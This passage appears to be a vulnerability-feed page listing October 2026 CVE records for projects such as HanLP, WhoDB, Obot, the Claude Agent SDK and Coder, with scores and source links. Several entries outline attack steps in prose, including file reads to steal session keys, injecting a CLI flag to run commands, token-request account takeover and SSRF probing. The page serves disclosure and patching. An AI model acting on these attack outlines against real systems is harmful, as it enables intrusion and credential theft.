A flaw has been found in eremef bandcamp-player up to 1.8.33-beta. The impacted element is an unknown function of the file database.ts of the component Remote Control Server. Executing a manipulation of the argument remoteEnabled can lead to missing authentication. The attack may be launched remotely. Upgrading to version 1.8.34-beta is sufficient to resolve this issue. This patch is called ccba99b66bc61acf46e4a332034799d7452ddea6. Upgrading the affected component is advised.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the...
https://kevwire.com/record/CVE-2026-112081
A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the... (Oct 19, 2026).
A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the component Model Config Loading. This manipulation of the argument classpath causes deserialization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112081).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112081&date=2026-10-25).
Sources:
NVD CVE-2026-112081: https://nvd.nist.gov/vuln/detail/CVE-2026-112081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112081&date=2026-10-25
A vulnerability was determined in hankcs HanLP up to 2.1.0-beta.64. This affects the function hanlp.load of the file plugins/hanlp_common/hanlp_common/reflection.py of the component Model Config Loading. This manipulation of the argument classpath causes deserialization. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file...
https://kevwire.com/record/CVE-2026-112073
A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file... (Oct 19, 2026).
A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file src/layer/matmul.cpp of the component MatMul. The manipulation leads to out-of-bounds read. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112073).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112073&date=2026-10-25).
Sources:
NVD CVE-2026-112073: https://nvd.nist.gov/vuln/detail/CVE-2026-112073
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112073&date=2026-10-25
A vulnerability was identified in Tencent ncnn up to 44b02dabdcf97499281a4692ebd65bad73dcf8b6. Affected by this vulnerability is the function matmul_transb of the file src/layer/matmul.cpp of the component MatMul. The manipulation leads to out-of-bounds read. The attack can be initiated remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions...
https://kevwire.com/record/CVE-2026-112005
WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions... (Oct 18, 2026).
WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions through the query editor. Attackers can log in to a DuckDB file without credentials and use read_text, read_blob, COPY ... TO or ATTACH to steal session.key and stored database credentials or overwrite files.
CVSS 9.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112005).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112005&date=2026-10-25).
Sources:
NVD CVE-2026-112005: https://nvd.nist.gov/vuln/detail/CVE-2026-112005
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112005&date=2026-10-25
WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions through the query editor. Attackers can log in to a DuckDB file without credentials and use read_text, read_blob, COPY ... TO or ATTACH to steal session.key and stored database credentials or overwrite files.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without...
https://kevwire.com/record/CVE-2026-112000
Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without... (Oct 18, 2026).
Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without permission checks. Attackers can supply another tenant's subscription ID to Subscribe to hijack it, read and acknowledge its events, starve the legitimate consumer, and enumerate cluster users via ListUser.
CVSS 7.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112000).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112000&date=2026-10-25).
Sources:
NVD CVE-2026-112000: https://nvd.nist.gov/vuln/detail/CVE-2026-112000
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112000&date=2026-10-25
Vanus 0.8.0 through 0.9.0 contains a missing authorization vulnerability in the gateway that allows any authenticated user to call Subscribe, Ack, and unregistered methods without permission checks. Attackers can supply another tenant's subscription ID to Subscribe to hijack it, read and acknowledge its events, starve the legitimate consumer, and enumerate cluster users via ListUser.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the...
https://kevwire.com/record/CVE-2026-111991
A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the... (Oct 18, 2026).
A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the component ONNX Metadata Handler. The manipulation of the argument names/stride leads to code injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111991).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111991&date=2026-10-25).
Sources:
NVD CVE-2026-111991: https://nvd.nist.gov/vuln/detail/CVE-2026-111991
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111991&date=2026-10-25
A security vulnerability has been detected in WongKinYiu yolov9 0.1. This vulnerability affects the function DetectMultiBackend.__init__ of the file models/common.py of the component ONNX Metadata Handler. The manipulation of the argument names/stride leads to code injection. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component...
https://kevwire.com/record/CVE-2026-111986
A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component... (Oct 18, 2026).
A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component Model Instantiation. This manipulation of the argument Target causes code injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111986).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111986&date=2026-10-25).
Sources:
NVD CVE-2026-111986: https://nvd.nist.gov/vuln/detail/CVE-2026-111986
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111986&date=2026-10-25
A vulnerability was determined in AUTOMATIC1111 stable-diffusion-webui up to 1.10.1. Affected is the function get_obj_from_str of the file modules/sd_models.py of the component Model Instantiation. This manipulation of the argument Target causes code injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file...
https://kevwire.com/record/CVE-2026-111873
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file... (Oct 18, 2026).
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file exammanger.php of the component AJAX Endpoint. The manipulation of the argument subject results in sql injection. The attack may be launched remotely. The exploit is now public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111873).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111873&date=2026-10-25).
Sources:
NVD CVE-2026-111873: https://nvd.nist.gov/vuln/detail/CVE-2026-111873
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111873&date=2026-10-25
A vulnerability was detected in itsmeravitejak Online-Examination-System up to e6208e630b14657999bbfe4c9912302d2a1e2449. This impacts the function MySQLDB::topicslist of the file exammanger.php of the component AJAX Endpoint. The manipulation of the argument subject results in sql injection. The attack may be launched remotely. The exploit is now public and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php,...
https://kevwire.com/record/CVE-2026-107081
SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php,... (Oct 19, 2026).
SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php, admin/AJAX_vocabolary_control.php) in SENAYAN Library Management System (SLiMS) Bulian 9.8.0 allows any authenticated staff user to extract arbitrary database contents.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107081).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107081&date=2026-10-25).
Sources:
NVD CVE-2026-107081: https://nvd.nist.gov/vuln/detail/CVE-2026-107081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107081&date=2026-10-25
SQL injection via identifier injection in the tableName and tableFields POST parameters of admin AJAX endpoints (admin/AJAX_lookup_handler.php, admin/AJAX_check_id.php, admin/AJAX_vocabolary_control.php) in SENAYAN Library Management System (SLiMS) Bulian 9.8.0 allows any authenticated staff user to extract arbitrary database contents.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize...
https://kevwire.com/record/CVE-2026-114664
Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize... (Oct 22, 2026).
Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize user-supplied input before including it in SQL queries. Authenticated attackers can send crafted input to get_events and infer query results from application behavior to extract sensitive database information.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114664).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114664&date=2026-10-25).
Sources:
NVD CVE-2026-114664: https://nvd.nist.gov/vuln/detail/CVE-2026-114664
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114664&date=2026-10-25
Frappe Framework before 16.33.0 contains a blind SQL injection vulnerability in the frappe.desk.doctype.event.event.get_events method, which fails to properly neutralize user-supplied input before including it in SQL queries. Authenticated attackers can send crafted input to get_events and infer query results from application behavior to extract sensitive database information.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs.
https://kevwire.com/record/CVE-2026-114662
Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs. (Oct 22, 2026).
Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs. Attackers can create a token request via POST /api/token-request, send the login link to a signed-in user, and fetch the resulting non-expiring API key to take over the victim's account.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114662).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114662&date=2026-10-25).
Sources:
NVD CVE-2026-114662: https://nvd.nist.gov/vuln/detail/CVE-2026-114662
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114662&date=2026-10-25
Obot before 0.26.0 contains an authentication bypass vulnerability in the CLI login flow that allows unauthenticated attackers to steal API keys by choosing token request IDs. Attackers can create a token request via POST /api/token-request, send the login link to a signed-in user, and fetch the resulting non-expiring API key to take over the victim's account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels...
https://kevwire.com/record/CVE-2026-114661
OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels... (Oct 22, 2026).
OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels without an administrative role. Attackers can send POST or DELETE requests to the gateway tunnel endpoint to open persistent bidirectional TCP circuits into an edge gateway's network or tear down operator tunnels.
CVSS 9.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114661).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114661&date=2026-10-25).
Sources:
NVD CVE-2026-114661: https://nvd.nist.gov/vuln/detail/CVE-2026-114661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114661&date=2026-10-25
OpenRemote 1.2.0 before 1.31.0 contains a missing authorization vulnerability in GatewayServiceResource that allows any authenticated user to start, stop and query gateway tunnels without an administrative role. Attackers can send POST or DELETE requests to the gateway tunnel endpoint to open persistent bidirectional TCP circuits into an edge gateway's network or tear down operator tunnels.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods...
https://kevwire.com/record/CVE-2026-114660
Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods... (Oct 22, 2026).
Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-*@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.
CVSS 7.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114660).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114660&date=2026-10-25).
Sources:
NVD CVE-2026-114660: https://nvd.nist.gov/vuln/detail/CVE-2026-114660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114660&date=2026-10-25
Grav from 2.0.0 before 2.2.5 contains an improper access control vulnerability in FlexDirectory::dynamicFlexField() that allows page authors to call arbitrary Flex object methods via flex-*@ directives in page frontmatter. When a user with page edit rights opens the page, directives calling setStorageKey() and delete() run in their session, deleting protected pages neither account may delete.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Claude Agent SDK is a Python SDK for Claude Code.
https://kevwire.com/record/CVE-2026-96620
Claude Agent SDK is a Python SDK for Claude Code. (Oct 16, 2026).
Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.
CVSS 9.2 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96620).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96620&date=2026-10-25).
Sources:
NVD CVE-2026-96620: https://nvd.nist.gov/vuln/detail/CVE-2026-96620
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96620&date=2026-10-25
Claude Agent SDK is a Python SDK for Claude Code. Prior to 0.2.121, the resume option is passed to the Claude CLI as a separate token without validation, so a dash-leading value is parsed as an independent CLI flag. An attacker can inject the --mcp-config flag to define a stdio MCP server, causing arbitrary command execution at CLI startup outside the SDK permission controls. The issue is exploitable when an application passes untrusted input as the session ID to resume. This issue is fixed in version 0.2.121.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.
https://kevwire.com/record/CVE-2026-59970
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. (Oct 16, 2026).
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, passes an administrator-controlled AI provider URL directly to LiteLLM without applying the server's outbound-request SSRF checks when an authenticated user creates a Space, configures an AI provider with a URL targeting an internal address, and invokes an AI action. In cookbook/views/api.py, the affected AI actions call completion through TARGET/api/ai-import/ and api/ai-step-sort/ while bypassing safe_request. The attack works because the server connects to the supplied provider URL from each AI action and exposes connection success, refusal, or timeout as a blind network-reachability oracle. This can reach internal services, other hosts on the server network, and cloud metadata endpoints and map reachable internal hosts and ports. This issue is fixed in version 2.6.10.
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59970).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59970&date=2026-10-25).
Sources:
NVD CVE-2026-59970: https://nvd.nist.gov/vuln/detail/CVE-2026-59970
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59970&date=2026-10-25
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, passes an administrator-controlled AI provider URL directly to LiteLLM without applying the server's outbound-request SSRF checks when an authenticated user creates a Space, configures an AI provider with a URL targeting an internal address, and invokes an AI action. In cookbook/views/api.py, the affected AI actions call completion through TARGET/api/ai-import/ and api/ai-step-sort/ while bypassing safe_request. The attack works because the server connects to the supplied provider URL from each AI action and exposes connection success, refusal, or timeout as a blind network-reachability oracle. This can reach internal services, other hosts on the server network, and cloud metadata endpoints and map reachable internal hosts and ports. This issue is fixed in version 2.6.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose...
https://kevwire.com/record/CVE-2026-111927
Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose... (Oct 17, 2026).
Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected application_connect API key, and replay it to access the victim's workspace apps.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111927).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111927&date=2026-10-25).
Sources:
NVD CVE-2026-111927: https://nvd.nist.gov/vuln/detail/CVE-2026-111927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111927&date=2026-10-25
Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected application_connect API key, and replay it to access the victim's workspace apps.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of...
https://kevwire.com/record/CVE-2026-111910
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of... (Oct 17, 2026).
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of restricted FAQs by bypassing per-record permission checks. Low-privileged users with the dlattachment right, or anonymous users when allowDownloadsForGuests is enabled, can request attachment IDs to retrieve confidential files from restricted FAQs.
CVSS 7.1 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111910).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111910&date=2026-10-25).
Sources:
NVD CVE-2026-111910: https://nvd.nist.gov/vuln/detail/CVE-2026-111910
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111910&date=2026-10-25
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an authorization bypass vulnerability in attachment.php that allows attackers to download attachments of restricted FAQs by bypassing per-record permission checks. Low-privileged users with the dlattachment right, or anonymous users when allowDownloadsForGuests is enabled, can request attachment IDs to retrieve confidential files from restricted FAQs.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any...
https://kevwire.com/record/CVE-2026-111905
phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/{userId}, which returns any... (Oct 17, 2026).
